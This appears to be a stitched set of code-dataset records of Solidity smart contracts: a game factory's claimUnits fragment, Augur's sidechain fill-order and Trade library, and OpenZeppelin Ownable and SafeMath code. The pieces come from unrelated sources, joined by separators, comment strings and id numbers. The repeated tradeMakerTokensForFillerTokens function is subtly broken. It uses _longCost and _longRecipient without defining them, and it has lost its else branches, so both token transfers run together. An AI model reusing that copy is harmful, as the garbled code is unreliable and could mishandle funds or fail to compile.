function claimUnits(uint256 factoryId, bool equip) external {
PremiumFactory storage factory = premiumFactories[factoryId];
require(factory.owner == msg.sender);
// Claim all units produced by a factory (since last claimed)
PremiumUnit premiumUnit = premiumUnits[factory.unitId];
uint256 unitProductionSeconds = premiumUnit.unitProductionSeconds(); // Seconds to produce one unit
uint256 unitsProduced = (now - factory.lastClaimTimestamp) / unitProductionSeconds;
require(unitsProduced > 0);
factory.lastClaimTimestamp += (unitProductionSeconds * unitsProduced);
// Mints erc-20 premium units
premiumUnit.mintUnit(msg.sender, unitsProduced);
// Allow equip in one tx too
if (equip) {
premiumUnit.equipUnit(msg.sender, uint80(unitsProduced), 100);
}
}
}
interface ERC20 {
function totalSupply() external constant returns (uint);
function balanceOf(address tokenOwner) external constant returns (uint balance);
function allowance(address tokenOwner, address spender) external constant returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) external;
}
contract Bankroll {
function depositEth(uint256 gooAllocation, uint256 tokenAllocation) payable external;
}
contract PremiumUnit {
function mintUnit(address player, uint256 amount) external;
function equipUnit(address player, uint80 amount, uint8 chosenPosition) external;
uint256 public unitId;
uint256 public unitProductionSeconds;
}
contract Units {
mapping(address => mapping(uint256 => UnitsOwned)) public unitsOwned;
function mintUnitExternal(uint256 unit, uint80 amount, address player, uint8 chosenPosition) external;
function deleteUnitExternal(uint80 amount, uint256 unit, address player) external;
struct UnitsOwned {
uint80 units;
uint8 factoryBuiltFlag;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
Edge case for initial listing
|
if (now > factory.lastFlipTime) {
| 5,432,320
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pragma solidity 0.5.15;
pragma experimental ABIEncoderV2;
import 'ROOT/libraries/ReentrancyGuard.sol';
import 'ROOT/libraries/math/SafeMathUint256.sol';
import 'ROOT/ICash.sol';
import 'ROOT/sidechain/interfaces/ISideChainShareToken.sol';
import 'ROOT/sidechain/interfaces/ISideChainProfitLoss.sol';
import 'ROOT/trading/Order.sol';
import 'ROOT/libraries/Initializable.sol';
import 'ROOT/sidechain/interfaces/ISideChainAugurTrading.sol';
import 'ROOT/libraries/TokenId.sol';
import 'ROOT/sidechain/IMarketGetter.sol';
import 'ROOT/sidechain/interfaces/ISideChainAugur.sol';
import 'ROOT/libraries/token/SafeERC20.sol';
library Trade {
using SafeMathUint256 for uint256;
enum Direction {
Long,
Short
}
struct StoredContracts {
ISideChainAugur augur;
ISideChainAugurTrading augurTrading;
IERC20 denominationToken;
ISideChainProfitLoss profitLoss;
ISideChainShareToken shareToken;
IMarketGetter marketGetter;
}
struct Contracts {
address market;
IERC20 denominationToken;
ISideChainShareToken shareToken;
ISideChainAugur augur;
IUniverse universe;
ISideChainProfitLoss profitLoss;
ISideChainAugurTrading augurTrading;
}
struct FilledOrder {
bytes32 orderId;
uint256 outcome;
uint256 sharePriceRange;
uint256 sharePriceLong;
uint256 sharePriceShort;
}
struct Participant {
address participantAddress;
Direction direction;
uint256 startingSharesToSell;
uint256 startingSharesToBuy;
uint256 sharesToSell;
uint256 sharesToBuy;
}
struct Data {
Contracts contracts;
FilledOrder order;
Participant creator;
Participant filler;
uint256 longOutcome;
uint256[] shortOutcomes;
address longFundsAccount;
address shortFundsAccount;
}
struct OrderData {
address market;
uint256 outcome;
uint256 price;
Order.Types orderType;
uint256 sharesEscrowed;
uint256 amount;
address creator;
bytes32 orderId;
}
//
// Constructor
//
function createWithData(StoredContracts memory _storedContracts, OrderData memory _orderData, address _fillerAddress, uint256 _fillerSize) internal view returns (Data memory) {
Contracts memory _contracts = getContracts(_storedContracts, _orderData.market, _orderData.outcome);
FilledOrder memory _order = getOrder(_storedContracts.marketGetter, _contracts, _orderData.outcome, _orderData.price, _orderData.orderId);
Participant memory _creator = getMaker(_orderData.sharesEscrowed, _orderData.amount, _orderData.creator, _orderData.orderType);
uint256[] memory _shortOutcomes = getShortOutcomes(_storedContracts.marketGetter, _contracts.market, _orderData.outcome);
Participant memory _filler = getFiller(_contracts, _orderData.outcome, _shortOutcomes, _orderData.orderType, _fillerAddress, _fillerSize);
// Signed orders which have no order id get their funds from the signed order "creator" whereas on chain orders have funds escrowed in Augur Trading.
address _creatorFundsSource = _orderData.orderId == bytes32(0) ? _creator.participantAddress : address(_contracts.augurTrading);
return Data({
contracts: _contracts,
order: _order,
creator: _creator,
filler: _filler,
longOutcome: _orderData.outcome,
shortOutcomes: _shortOutcomes,
longFundsAccount: _creator.direction == Direction.Long ? _creatorFundsSource : _filler.participantAddress,
shortFundsAccount: _creator.direction == Direction.Short ? _creatorFundsSource : _filler.participantAddress
});
}
function createOrderData(IMarketGetter _marketGetter, ISideChainShareToken _shareToken, address _market, uint256 _outcome, uint256 _price, Order.Types _orderType, uint256 _amount, address _creator) internal view returns (OrderData memory) {
uint256 _sharesAvailable = getSharesAvailable(_marketGetter, _shareToken, _market, _orderType, _outcome, _amount, _creator);
return OrderData({
market: _market,
outcome: _outcome,
price: _price,
orderType: _orderType,
sharesEscrowed: _sharesAvailable,
amount: _amount,
creator: _creator,
orderId: bytes32(0)
});
}
function getSharesAvailable(IMarketGetter _marketGetter, ISideChainShareToken _shareToken, address _market, Order.Types _orderType, uint256 _outcome, uint256 _amount, address _creator) private view returns (uint256) {
// Figure out how many almost-complete-sets (just missing `outcome` share) the creator has
uint256 _numberOfOutcomes = _marketGetter.getNumberOfOutcomes(_market);
if (_orderType == Order.Types.Bid) {
return _shareToken.lowestBalanceOfMarketOutcomes(_market, getShortOutcomes(_marketGetter, _market, _outcome), _creator).min(_amount);
}
return _shareToken.balanceOfMarketOutcome(_market, _outcome, _creator).min(_amount);
}
function getShortOutcomes(IMarketGetter _marketGetter, address _market, uint256 _outcome) private view returns (uint256[] memory) {
uint256 _numberOfOutcomes = _marketGetter.getNumberOfOutcomes(_market);
uint256[] memory _shortOutcomes = new uint256[](_numberOfOutcomes - 1);
uint256 _indexOutcome = 0;
for (uint256 _i = 0; _i < _numberOfOutcomes - 1; _i++) {
if (_i == _outcome) {
_indexOutcome++;
}
_shortOutcomes[_i] = _indexOutcome;
_indexOutcome++;
}
return _shortOutcomes;
}
//
// "public" functions
//
function tradeMakerSharesForFillerShares(Data memory _data) internal returns (uint256 _marketCreatorFees, uint256 _reporterFees) {
uint256 _numberOfCompleteSets = _data.creator.sharesToSell.min(_data.filler.sharesToSell);
if (_numberOfCompleteSets == 0) {
return (0, 0);
}
// transfer shares and sell complete sets distributing payouts based on the price
// Sell both account shares
(_marketCreatorFees, _reporterFees) = _data.contracts.shareToken.sellCompleteSetsForTrade(_data.contracts.market, _data.longOutcome, _numberOfCompleteSets, _data.shortFundsAccount, _data.longFundsAccount, getShortShareSellerDestination(_data), getLongShareSellerDestination(_data), _data.order.sharePriceLong, _data.filler.participantAddress);
// update available shares for creator and filler
_data.creator.sharesToSell -= _numberOfCompleteSets;
_data.filler.sharesToSell -= _numberOfCompleteSets;
return (_marketCreatorFees, _reporterFees);
}
function tradeMakerSharesForFillerTokens(Data memory _data) internal returns (bool) {
uint256 _numberOfSharesToTrade = _data.creator.sharesToSell.min(_data.filler.sharesToBuy);
if (_numberOfSharesToTrade == 0) {
return true;
}
// transfer shares from creator (escrowed in market) to filler
if (_data.creator.direction == Direction.Short) {
_data.contracts.shareToken.unsafeTransferFrom(_data.shortFundsAccount, _data.filler.participantAddress, TokenId.getTokenId(_data.contracts.market, _data.longOutcome), _numberOfSharesToTrade);
} else {
uint256[] memory _values = new uint256[](_data.shortOutcomes.length);
for (uint256 _i = 0; _i < _data.shortOutcomes.length; _i++) {
_values[_i] = _numberOfSharesToTrade;
}
_data.contracts.shareToken.unsafeBatchTransferFrom(_data.longFundsAccount, _data.filler.participantAddress, TokenId.getTokenIds(_data.contracts.market, _data.shortOutcomes), _values);
}
uint256 _tokensToCover = getTokensToCover(_data, _data.filler.direction, _numberOfSharesToTrade);
_data.contracts.denominationToken.transferFrom(_data.filler.participantAddress, _data.creator.participantAddress, _tokensToCover);
// update available assets for creator and filler
_data.creator.sharesToSell -= _numberOfSharesToTrade;
_data.filler.sharesToBuy -= _numberOfSharesToTrade;
return true;
}
function tradeMakerTokensForFillerShares(Data memory _data) internal returns (bool) {
uint256 _numberOfSharesToTrade = _data.filler.sharesToSell.min(_data.creator.sharesToBuy);
if (_numberOfSharesToTrade == 0) {
return true;
}
// transfer shares from filler to creator
if (_data.filler.direction == Direction.Short) {
_data.contracts.shareToken.unsafeTransferFrom(_data.filler.participantAddress, _data.creator.participantAddress, TokenId.getTokenId(_data.contracts.market, _data.longOutcome), _numberOfSharesToTrade);
} else {
uint256[] memory _values = new uint256[](_data.shortOutcomes.length);
for (uint256 _i = 0; _i < _data.shortOutcomes.length; _i++) {
_values[_i] = _numberOfSharesToTrade;
}
_data.contracts.shareToken.unsafeBatchTransferFrom(_data.filler.participantAddress, _data.creator.participantAddress, TokenId.getTokenIds(_data.contracts.market, _data.shortOutcomes), _values);
}
// transfer tokens from creator (taken from the signer for signed orders, escrowed in Augur Trading for on chain orders) to filler
uint256 _tokensToCover = getTokensToCover(_data, _data.creator.direction, _numberOfSharesToTrade);
if (_data.order.orderId == bytes32(0)) {
// No order Id indicates this is a signed order
_data.contracts.denominationToken.transferFrom(_data.creator.participantAddress, _data.filler.participantAddress, _tokensToCover);
} else {
_data.contracts.denominationToken.transferFrom(address(_data.contracts.augurTrading), _data.filler.participantAddress, _tokensToCover);
}
// update available assets for creator and filler
_data.creator.sharesToBuy -= _numberOfSharesToTrade;
_data.filler.sharesToSell -= _numberOfSharesToTrade;
return true;
}
function tradeMakerTokensForFillerTokens(Data memory _data) internal returns (uint256) {
uint256 _numberOfCompleteSets = _data.creator.sharesToBuy.min(_data.filler.sharesToBuy);
if (_numberOfCompleteSets == 0) {
return 0;
}
// If someone is filling their own order with CASH both ways we just return the CASH
if (_data.creator.participantAddress == _data.filler.participantAddress) {
uint256 _creatorTokensToCover = getTokensToCover(_data, _data.creator.direction, _numberOfCompleteSets);
uint256 _fillerTokensToCover = getTokensToCover(_data, _data.filler.direction, _numberOfCompleteSets);
_data.contracts.denominationToken.transferFrom(address(_data.contracts.augurTrading), _data.creator.participantAddress, _creatorTokensToCover);
_data.creator.sharesToBuy -= _numberOfCompleteSets;
_data.filler.sharesToBuy -= _numberOfCompleteSets;
return _creatorTokensToCover.add(_fillerTokensToCover);
}
// buy complete sets and distribute shares to participants
uint256 _longCost = _numberOfCompleteSets.mul(_data.order.sharePriceLong);
uint256 _shortCost = _numberOfCompleteSets.mul(_data.order.sharePriceShort);
// Bring in cash from both parties
if (_data.longFundsAccount == address(_data.contracts.market)) {
_data.contracts.denominationToken.transferFrom(address(_data.contracts.augurTrading), address(this), _longCost);
} else {
_data.contracts.denominationToken.transferFrom(_data.longFundsAccount, address(this), _longCost);
}
if (_data.shortFundsAccount == address(_data.contracts.market)) {
_data.contracts.denominationToken.transferFrom(address(_data.contracts.augurTrading), address(this), _shortCost);
} else {
_data.contracts.denominationToken.transferFrom(_data.shortFundsAccount, address(this), _shortCost);
}
// Buy and distribute complete sets
address _longRecipient = getLongShareBuyerDestination(_data);
address _shortRecipient = getShortShareBuyerDestination(_data);
_data.contracts.shareToken.buyCompleteSetsForTrade(_data.contracts.market, _numberOfCompleteSets, _data.order.outcome, _longRecipient, _shortRecipient);
_data.creator.sharesToBuy -= _numberOfCompleteSets;
_data.filler.sharesToBuy -= _numberOfCompleteSets;
return 0;
}
//
// Helpers
//
function getLongShareBuyerDestination(Data memory _data) internal pure returns (address) {
return (_data.creator.direction == Direction.Long) ? _data.creator.participantAddress : _data.filler.participantAddress;
}
function getShortShareBuyerDestination(Data memory _data) internal pure returns (address) {
return (_data.creator.direction == Direction.Short) ? _data.creator.participantAddress : _data.filler.participantAddress;
}
function getLongShareSellerSource(Data memory _data) internal pure returns (address) {
return (_data.creator.direction == Direction.Short) ? address(_data.contracts.market) : _data.filler.participantAddress;
}
function getShortShareSellerSource(Data memory _data) internal pure returns (address) {
return (_data.creator.direction == Direction.Long) ? address(_data.contracts.market) : _data.filler.participantAddress;
}
function getLongShareSellerDestination(Data memory _data) internal pure returns (address) {
return (_data.creator.direction == Direction.Short) ? _data.creator.participantAddress : _data.filler.participantAddress;
}
function getShortShareSellerDestination(Data memory _data) internal pure returns (address) {
return (_data.creator.direction == Direction.Long) ? _data.creator.participantAddress : _data.filler.participantAddress;
}
function getMakerSharesDepleted(Data memory _data) internal pure returns (uint256) {
return _data.creator.startingSharesToSell.sub(_data.creator.sharesToSell);
}
function getFillerSharesDepleted(Data memory _data) internal pure returns (uint256) {
return _data.filler.startingSharesToSell.sub(_data.filler.sharesToSell);
}
function getMakerTokensDepleted(Data memory _data) internal pure returns (uint256) {
return getTokensDepleted(_data, _data.creator.direction, _data.creator.startingSharesToBuy, _data.creator.sharesToBuy);
}
function getFillerTokensDepleted(Data memory _data) internal pure returns (uint256) {
return getTokensDepleted(_data, _data.filler.direction, _data.filler.startingSharesToBuy, _data.filler.sharesToBuy);
}
function getTokensDepleted(Data memory _data, Direction _direction, uint256 _startingSharesToBuy, uint256 _endingSharesToBuy) internal pure returns (uint256) {
return _startingSharesToBuy
.sub(_endingSharesToBuy)
.mul((_direction == Direction.Long) ? _data.order.sharePriceLong : _data.order.sharePriceShort);
}
function getTokensToCover(Data memory _data, Direction _direction, uint256 _numShares) internal pure returns (uint256) {
return getTokensToCover(_direction, _data.order.sharePriceLong, _data.order.sharePriceShort, _numShares);
}
//
// Construction helpers
//
function getContracts(StoredContracts memory _storedContracts, address _market, uint256 _outcome) private view returns (Contracts memory) {
return Contracts({
market: _market,
denominationToken: _storedContracts.denominationToken,
augur: _storedContracts.augur,
augurTrading: _storedContracts.augurTrading,
universe: _storedContracts.marketGetter.getUniverse(_market),
profitLoss: _storedContracts.profitLoss,
shareToken: _storedContracts.shareToken
});
}
function getOrder(IMarketGetter _marketGetter, Contracts memory _contracts, uint256 _outcome, uint256 _price, bytes32 _orderId) private view returns (FilledOrder memory) {
uint256 _sharePriceRange;
uint256 _sharePriceLong;
uint256 _sharePriceShort;
(_sharePriceRange, _sharePriceLong, _sharePriceShort) = getSharePriceDetails(_marketGetter, _contracts.market, _price);
return FilledOrder({
orderId: _orderId,
outcome: _outcome,
sharePriceRange: _sharePriceRange,
sharePriceLong: _sharePriceLong,
sharePriceShort: _sharePriceShort
});
}
function getMaker(uint256 _sharesEscrowed, uint256 _amount, address _creator, Order.Types _orderOrderType) private pure returns (Participant memory) {
Direction _direction = (_orderOrderType == Order.Types.Bid) ? Direction.Long : Direction.Short;
uint256 _sharesToBuy = _amount.sub(_sharesEscrowed);
return Participant({
participantAddress: _creator,
direction: _direction,
startingSharesToSell: _sharesEscrowed,
startingSharesToBuy: _sharesToBuy,
sharesToSell: _sharesEscrowed,
sharesToBuy: _sharesToBuy
});
}
function getFiller(Contracts memory _contracts, uint256 _longOutcome, uint256[] memory _shortOutcomes, Order.Types _orderOrderType, address _address, uint256 _size) private view returns (Participant memory) {
Direction _direction = (_orderOrderType == Order.Types.Bid) ? Direction.Short : Direction.Long;
uint256 _sharesToSell = 0;
_sharesToSell = getFillerSharesToSell(_contracts, _longOutcome, _shortOutcomes, _address, _direction, _size);
uint256 _sharesToBuy = _size.sub(_sharesToSell);
return Participant({
participantAddress: _address,
direction: _direction,
startingSharesToSell: _sharesToSell,
startingSharesToBuy: _sharesToBuy,
sharesToSell: _sharesToSell,
sharesToBuy: _sharesToBuy
});
}
function getTokensToCover(Direction _direction, uint256 _sharePriceLong, uint256 _sharePriceShort, uint256 _numShares) internal pure returns (uint256) {
return _numShares.mul((_direction == Direction.Long) ? _sharePriceLong : _sharePriceShort);
}
function getSharePriceDetails(IMarketGetter _marketGetter, address _market, uint256 _price) private view returns (uint256 _sharePriceRange, uint256 _sharePriceLong, uint256 _sharePriceShort) {
uint256 _numTicks = _marketGetter.getNumTicks(_market);
_sharePriceShort = uint256(_numTicks.sub(_price));
return (_numTicks, _price, _sharePriceShort);
}
function getFillerSharesToSell(Contracts memory _contracts, uint256 _longOutcome, uint256[] memory _shortOutcomes, address _filler, Direction _fillerDirection, uint256 _fillerSize) private view returns (uint256) {
if (_fillerDirection == Direction.Short) {
return _contracts.shareToken.balanceOfMarketOutcome(_contracts.market, _longOutcome, _filler).min(_fillerSize);
}
return _contracts.shareToken.lowestBalanceOfMarketOutcomes(_contracts.market, _shortOutcomes, _filler).min(_fillerSize);
}
}
/**
* @title Fill Order
* @notice Exposes functions to fill an order on the book
*/
contract SideChainFillOrder is Initializable, ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeMathUint256 for uint256;
using Trade for Trade.Data;
ISideChainAugur public augur;
ISideChainAugurTrading public augurTrading;
IMarketGetter public marketGetter;
address public zeroXTrade;
Trade.StoredContracts private storedContracts;
mapping (address => uint256[]) public marketOutcomeVolumes;
mapping (address => uint256) public marketTotalTrades;
uint256 private constant MAX_APPROVAL_AMOUNT = 2 ** 256 - 1;
function initialize(ISideChainAugur _augur, ISideChainAugurTrading _augurTrading) public beforeInitialized {
endInitialization();
augur = _augur;
augurTrading = _augurTrading;
marketGetter = IMarketGetter(_augur.lookup("MarketGetter"));
require(marketGetter!= IMarketGetter(0));
IERC20 _cash = IERC20(augur.lookup("Cash"));
storedContracts = Trade.StoredContracts({
augur: _augur,
marketGetter: marketGetter,
augurTrading: _augurTrading,
denominationToken: _cash,
profitLoss: ISideChainProfitLoss(_augurTrading.lookup("ProfitLoss")),
shareToken: ISideChainShareToken(_augur.lookup("ShareToken"))
});
require(storedContracts.profitLoss != ISideChainProfitLoss(0));
require(storedContracts.shareToken != ISideChainShareToken(0));
zeroXTrade = _augurTrading.lookup("ZeroXTrade");
require(zeroXTrade != address(0));
_cash.safeApprove(address(_augur), MAX_APPROVAL_AMOUNT);
}
function fillZeroXOrder(address _market, uint256 _outcome, uint256 _price, Order.Types _orderType, address _creator, uint256 _amount, bytes32 _tradeGroupId, address _filler) external returns (uint256 _amountRemaining, uint256 _fees) {
require(msg.sender == zeroXTrade);
require(augur.isKnownMarket(_market));
Trade.OrderData memory _orderData = Trade.createOrderData(storedContracts.marketGetter, storedContracts.shareToken, _market, _outcome, _price, _orderType, _amount, _creator);
Trade.Data memory _tradeData = Trade.createWithData(storedContracts, _orderData, _filler, _amount);
return fillOrderInternal(_filler, _tradeData, _amount, _tradeGroupId);
}
function fillOrderInternal(address _filler, Trade.Data memory _tradeData, uint256 _amountFillerWants, bytes32 _tradeGroupId) internal nonReentrant returns (uint256 _amountRemainingFillerWants, uint256 _totalFees) {
uint256 _marketCreatorFees;
uint256 _reporterFees;
(_marketCreatorFees, _reporterFees) = _tradeData.tradeMakerSharesForFillerShares();
_tradeData.tradeMakerTokensForFillerShares();
_tradeData.tradeMakerSharesForFillerTokens();
uint256 _tokensRefunded = _tradeData.tradeMakerTokensForFillerTokens();
sellCompleteSets(_tradeData);
uint256 _amountRemainingFillerWants = _tradeData.filler.sharesToSell.add(_tradeData.filler.sharesToBuy);
uint256 _amountFilled = _amountFillerWants.sub(_amountRemainingFillerWants);
_totalFees = _marketCreatorFees.add(_reporterFees);
if (_tradeData.order.orderId != bytes32(0)) {
logOrderFilled(_tradeData, _tradeData.order.sharePriceLong, _totalFees, _amountFilled, _tradeGroupId);
}
logAndUpdateVolume(_tradeData);
if (_totalFees > 0) {
uint256 _longFees = _totalFees.mul(_tradeData.order.sharePriceLong).div(marketGetter.getNumTicks(_tradeData.contracts.market));
uint256 _shortFees = _totalFees.sub(_longFees);
_tradeData.contracts.profitLoss.adjustTraderProfitForFees(_tradeData.contracts.market, _tradeData.getLongShareBuyerDestination(), _tradeData.order.outcome, _longFees);
_tradeData.contracts.profitLoss.adjustTraderProfitForFees(_tradeData.contracts.market, _tradeData.getShortShareBuyerDestination(), _tradeData.order.outcome, _shortFees);
}
updateProfitLoss(_tradeData, _amountFilled);
if (_tradeData.creator.participantAddress == _tradeData.filler.participantAddress) {
_tradeData.contracts.profitLoss.recordFrozenFundChange(_tradeData.contracts.universe, _tradeData.contracts.market, _tradeData.creator.participantAddress, _tradeData.order.outcome, -int256(_tokensRefunded));
}
return (_amountRemainingFillerWants, _totalFees);
}
function sellCompleteSets(Trade.Data memory _tradeData) internal returns (bool) {
address _filler = _tradeData.filler.participantAddress;
address _creator = _tradeData.creator.participantAddress;
address _market = _tradeData.contracts.market;
uint256 _numOutcomes = marketGetter.getNumberOfOutcomes(_market);
uint256[] memory _outcomes = new uint256[](_numOutcomes);
for (uint256 _i = 0; _i < _numOutcomes; _i++) {
_outcomes[_i] = _i;
}
uint256 _fillerCompleteSets = _tradeData.contracts.shareToken.lowestBalanceOfMarketOutcomes(_market, _outcomes, _filler);
uint256 _creatorCompleteSets = _tradeData.contracts.shareToken.lowestBalanceOfMarketOutcomes(_market, _outcomes, _creator);
if (_fillerCompleteSets > 0) {
_tradeData.contracts.shareToken.sellCompleteSets(_market, _filler, _filler, _fillerCompleteSets);
}
if (_creatorCompleteSets > 0) {
_tradeData.contracts.shareToken.sellCompleteSets(_market, _creator, _creator, _creatorCompleteSets);
}
return true;
}
function logOrderFilled(Trade.Data memory _tradeData, uint256 _price, uint256 _fees, uint256 _amountFilled, bytes32 _tradeGroupId) private returns (bool) {
_tradeData.contracts.augurTrading.logOrderFilled(_tradeData.contracts.universe, _tradeData.creator.participantAddress, _tradeData.filler.participantAddress, _price, _fees, _amountFilled, _tradeData.order.orderId, _tradeGroupId);
return true;
}
function logAndUpdateVolume(Trade.Data memory _tradeData) private {
address _market = _tradeData.contracts.market;
uint256 _makerSharesDepleted = _tradeData.getMakerSharesDepleted();
uint256 _fillerSharesDepleted = _tradeData.getFillerSharesDepleted();
uint256 _makerTokensDepleted = _tradeData.getMakerTokensDepleted();
uint256 _fillerTokensDepleted = _tradeData.getFillerTokensDepleted();
uint256 _completeSetTokens = _makerSharesDepleted.min(_fillerSharesDepleted).mul(marketGetter.getNumTicks(_market));
if (marketOutcomeVolumes[_market].length == 0) {
marketOutcomeVolumes[_market].length = _tradeData.shortOutcomes.length + 1;
}
marketOutcomeVolumes[_market][_tradeData.order.outcome] = marketOutcomeVolumes[_market][_tradeData.order.outcome].add(_makerTokensDepleted).add(_fillerTokensDepleted).add(_completeSetTokens);
uint256[] memory tmpMarketOutcomeVolumes = marketOutcomeVolumes[_market];
uint256 _volume;
for (uint256 i = 0; i < tmpMarketOutcomeVolumes.length; i++) {
_volume += tmpMarketOutcomeVolumes[i];
}
uint256 _totalTrades = marketTotalTrades[_market].add(1);
marketTotalTrades[_market] = _totalTrades;
_tradeData.contracts.augurTrading.logMarketVolumeChanged(_tradeData.contracts.universe, _market, _volume, tmpMarketOutcomeVolumes, _totalTrades);
}
function updateProfitLoss(Trade.Data memory _tradeData, uint256 _amountFilled) private returns (bool) {
uint256 makerTokensDepleted = _tradeData.order.orderId != bytes32(0) ? 0 : _tradeData.getMakerTokensDepleted();
uint256 _numLongTokens = _tradeData.creator.direction == Trade.Direction.Long ? makerTokensDepleted : _tradeData.getFillerTokensDepleted();
uint256 _numShortTokens = _tradeData.creator.direction == Trade.Direction.Short ? makerTokensDepleted : _tradeData.getFillerTokensDepleted();
uint256 _numLongShares = _tradeData.creator.direction == Trade.Direction.Long ? _tradeData.getMakerSharesDepleted() : _tradeData.getFillerSharesDepleted();
uint256 _numShortShares = _tradeData.creator.direction == Trade.Direction.Short ? _tradeData.getMakerSharesDepleted() : _tradeData.getFillerSharesDepleted();
_tradeData.contracts.profitLoss.recordTrade(_tradeData.contracts.universe, _tradeData.contracts.market, _tradeData.getLongShareBuyerDestination(), _tradeData.getShortShareBuyerDestination(), _tradeData.order.outcome, int256(_amountFilled), int256(_tradeData.order.sharePriceLong), _numLongTokens, _numShortTokens, _numLongShares, _numShortShares);
return true;
}
function getMarketOutcomeValues(address _market) public view returns (uint256[] memory) {
return marketOutcomeVolumes[_market];
}
function getMarketVolume(address _market) public view returns (uint256) {
uint256[] memory tmpMarketOutcomeVolumes = marketOutcomeVolumes[_market];
uint256 _volume;
for (uint256 i = 0; i < tmpMarketOutcomeVolumes.length; i++) {
_volume += tmpMarketOutcomeVolumes[i];
}
return _volume;
}
}
|
If someone is filling their own order with CASH both ways we just return the CASH Bring in cash from both parties
|
function tradeMakerTokensForFillerTokens(Data memory _data) internal returns (uint256) {
uint256 _numberOfCompleteSets = _data.creator.sharesToBuy.min(_data.filler.sharesToBuy);
if (_numberOfCompleteSets == 0) {
return 0;
}
if (_data.creator.participantAddress == _data.filler.participantAddress) {
uint256 _creatorTokensToCover = getTokensToCover(_data, _data.creator.direction, _numberOfCompleteSets);
uint256 _fillerTokensToCover = getTokensToCover(_data, _data.filler.direction, _numberOfCompleteSets);
_data.contracts.denominationToken.transferFrom(address(_data.contracts.augurTrading), _data.creator.participantAddress, _creatorTokensToCover);
_data.creator.sharesToBuy -= _numberOfCompleteSets;
_data.filler.sharesToBuy -= _numberOfCompleteSets;
return _creatorTokensToCover.add(_fillerTokensToCover);
}
uint256 _shortCost = _numberOfCompleteSets.mul(_data.order.sharePriceShort);
if (_data.longFundsAccount == address(_data.contracts.market)) {
_data.contracts.denominationToken.transferFrom(address(_data.contracts.augurTrading), address(this), _longCost);
_data.contracts.denominationToken.transferFrom(_data.longFundsAccount, address(this), _longCost);
}
if (_data.shortFundsAccount == address(_data.contracts.market)) {
_data.contracts.denominationToken.transferFrom(address(_data.contracts.augurTrading), address(this), _shortCost);
_data.contracts.denominationToken.transferFrom(_data.shortFundsAccount, address(this), _shortCost);
}
address _shortRecipient = getShortShareBuyerDestination(_data);
_data.contracts.shareToken.buyCompleteSetsForTrade(_data.contracts.market, _numberOfCompleteSets, _data.order.outcome, _longRecipient, _shortRecipient);
_data.creator.sharesToBuy -= _numberOfCompleteSets;
_data.filler.sharesToBuy -= _numberOfCompleteSets;
return 0;
}
| 14,114,536
|
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pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/controller/Reputation.sol
/**
* @title Reputation system
* @dev A DAO has Reputation System which allows peers to rate other peers in order to build trust .
* A reputation is use to assign influence measure to a DAO'S peers.
* Reputation is similar to regular tokens but with one crucial difference: It is non-transferable.
* The Reputation contract maintain a map of address to reputation value.
* It provides an onlyOwner functions to mint and burn reputation _to (or _from) a specific address.
*/
contract Reputation is Ownable {
using SafeMath for uint;
mapping (address => uint256) public balances;
